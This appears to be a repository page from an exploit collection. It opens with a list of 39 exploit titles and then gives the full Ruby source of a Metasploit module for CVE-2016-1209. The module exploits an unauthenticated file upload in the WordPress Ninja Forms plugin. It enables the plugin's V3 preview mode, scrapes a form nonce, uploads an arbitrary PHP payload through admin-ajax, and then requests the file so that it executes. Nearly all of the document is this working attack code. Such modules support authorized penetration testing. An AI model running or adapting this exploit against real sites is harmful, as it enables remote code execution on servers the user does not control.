
39 new exploits Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit) Adobe Flash Player - Nellymoser Audio Decoding Buffer Overflow (Metasploit) Mozilla Firefox 5.0 < 15.0.1 - __exposedProps__ XCS Code Execution (Metasploit) Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit) Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit) Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Remote Code Execution (Metasploit) Microsoft Silverlight - ScriptObject Unsafe Memory Access (MS13-022/MS13-087) (Metasploit) EMC Replication Manager < 5.3 - Command Execution (Metasploit) MOXA MediaDBPlayback - ActiveX Control Buffer Overflow (Metasploit) Microsoft Office - OLE Multiple DLL Side Loading Vulnerabilities (MS15-132/MS16-014/MS16-025/MS16-041/MS16-070) (Metasploit) CA Arcserve D2D - GWT RPC Credential Information Disclosure (Metasploit) Lenovo System Update - Privilege Escalation (Metasploit) Firebird - Relational Database CNCT Group Number Buffer Overflow (Metasploit) HP Intelligent Management Center < 5.0 E0102 - UAM Buffer Overflow (Metasploit) VMware Host Guest Client Redirector - DLL Side Loading (Metasploit) CADA 3S CoDeSys Gateway Server - Directory Traversal (Metasploit) MOXA Device Manager Tool 2.1 - Buffer Overflow (Metasploit) SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit) Ceragon FibeAir IP-10 - SSH Private Key Exposure (Metasploit) ExaGrid - Known SSH Key and Default Password (Metasploit) GIT 1.8.5.6 / 1.9.5 / 2.0.5 / 2.1.4/ 2.2.1 & Mercurial < 3.2.3 - Multiple Vulnerabilities (Metasploit) Ruby on Rails 4.0.x / 4.1.x / 4.2.x (Web Console v2) - Whitelist Bypass Code Execution (Metasploit) Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit) Samba 2.2.2 < 2.2.6 - 'nttrans' Buffer Overflow (Metasploit) SSH - User Code Execution (Metasploit) Redmine SCM Repository - Arbitrary Command Execution (Metasploit) Linux/x86 - Bind Shell Shellcode (42 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Joomla! Component Modern Booking 1.0 - 'coupon' Parameter SQL Injection Flippa Clone - SQL Injection Centreon < 2.5.1 / Centreon Enterprise Server < 2.2 - SQL Injection / Command Injection (Metasploit) D-Link/TRENDnet - NCC Service Command Injection (Metasploit) Seagate Business NAS - Unauthenticated Remote Command Execution (Metasploit) MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit) OP5 5.3.5 / 5.4.0 / 5.4.2 / 5.5.0 / 5.5.1 - 'license.php' Remote Command Execution (Metasploit) OP5 5.3.5 / 5.4.0 / 5.4.2 / 5.5.0 / 5.5.1 - 'welcome' Remote Command Execution (Metasploit) PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) SysAid Help Desk Administrator Portal < 14.4 - Arbitrary File Upload (Metasploit) WordPress Plugin Ninja Forms 2.9.36 < 2.9.42 - Unauthenticated File Upload (Metasploit) SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit) WordPress Theme Holding Pattern - Arbitrary File Upload (Metasploit) Distinct TFTP 3.10 - Writable Directory Traversal Execution (Metasploit)
176 lines
5.7 KiB
Ruby
Executable file
176 lines
5.7 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http://www.metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
|
|
def initialize(info = {})
|
|
super(update_info(
|
|
info,
|
|
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
|
|
'Description' => %(
|
|
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
|
|
an unauthenticated file upload vulnerability, allowing guests
|
|
to upload arbitrary PHP code that can be executed in the context
|
|
of the web server.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'James Golovich', # Discovery and disclosure
|
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2016-1209'],
|
|
['WPVDB', '8485'],
|
|
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
|
|
],
|
|
'DisclosureDate' => 'May 04 2016',
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['ninja-forms', {}]],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
|
|
register_options(opts, self.class)
|
|
end
|
|
|
|
def print_status(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_good(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_error(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def check
|
|
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
|
|
end
|
|
|
|
def enable_v3_functionality
|
|
print_status 'Enabling vulnerable V3 functionality...'
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => target_uri.path,
|
|
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
if res
|
|
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
|
else
|
|
fail_with(Failure::Unreachable, 'Connection timed out.')
|
|
end
|
|
end
|
|
|
|
vprint_good 'Enabled V3 functionality'
|
|
end
|
|
|
|
def disable_v3_functionality
|
|
print_status 'Disabling vulnerable V3 functionality...'
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => target_uri.path,
|
|
'vars_get' => { 'nf-switcher' => 'rollback' }
|
|
)
|
|
|
|
if res && res.code == 200
|
|
vprint_good 'Disabled V3 functionality'
|
|
elsif !res
|
|
print_error('Connection timed out while disabling V3 functionality')
|
|
else
|
|
print_error 'Failed to disable the vulnerable V3 functionality'
|
|
end
|
|
end
|
|
|
|
def generate_mime_message(payload_name, nonce)
|
|
data = Rex::MIME::Message.new
|
|
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
|
|
data.add_part(nonce, nil, nil, 'form-data; name="security"')
|
|
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
|
|
data
|
|
end
|
|
|
|
def fetch_ninja_form_nonce
|
|
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
|
|
end
|
|
|
|
form_wpnonce = res.get_hidden_inputs.first
|
|
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
|
|
|
|
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
|
|
|
|
unless nonce
|
|
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
|
|
end
|
|
|
|
nonce
|
|
end
|
|
|
|
def upload_payload(data)
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => wordpress_url_admin_ajax,
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => data.to_s
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
|
vprint_error("Server responded with status code #{res.code}") if res.code != 200
|
|
end
|
|
|
|
def execute_payload(payload_name, payload_url)
|
|
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
|
|
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
|
|
|
if !res.nil? && res.code == 404
|
|
print_error("Failed to upload the payload")
|
|
else
|
|
print_good("Executed payload")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
# Vulnerable code is only available in the version 3 preview mode, which can be
|
|
# enabled by unauthenticated users due to lack of user level validation.
|
|
enable_v3_functionality
|
|
|
|
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
|
|
# page that contains a form generated by Ninja Forms.
|
|
nonce = fetch_ninja_form_nonce
|
|
|
|
print_status("Preparing payload...")
|
|
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
|
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
|
|
data = generate_mime_message(payload_name, nonce)
|
|
|
|
print_status("Uploading payload to #{payload_url}")
|
|
upload_payload(data)
|
|
|
|
print_status("Executing the payload...")
|
|
execute_payload(payload_name, payload_url)
|
|
|
|
# Once the payload has been executed, we can disable the preview functionality again.
|
|
disable_v3_functionality
|
|
end
|
|
end
|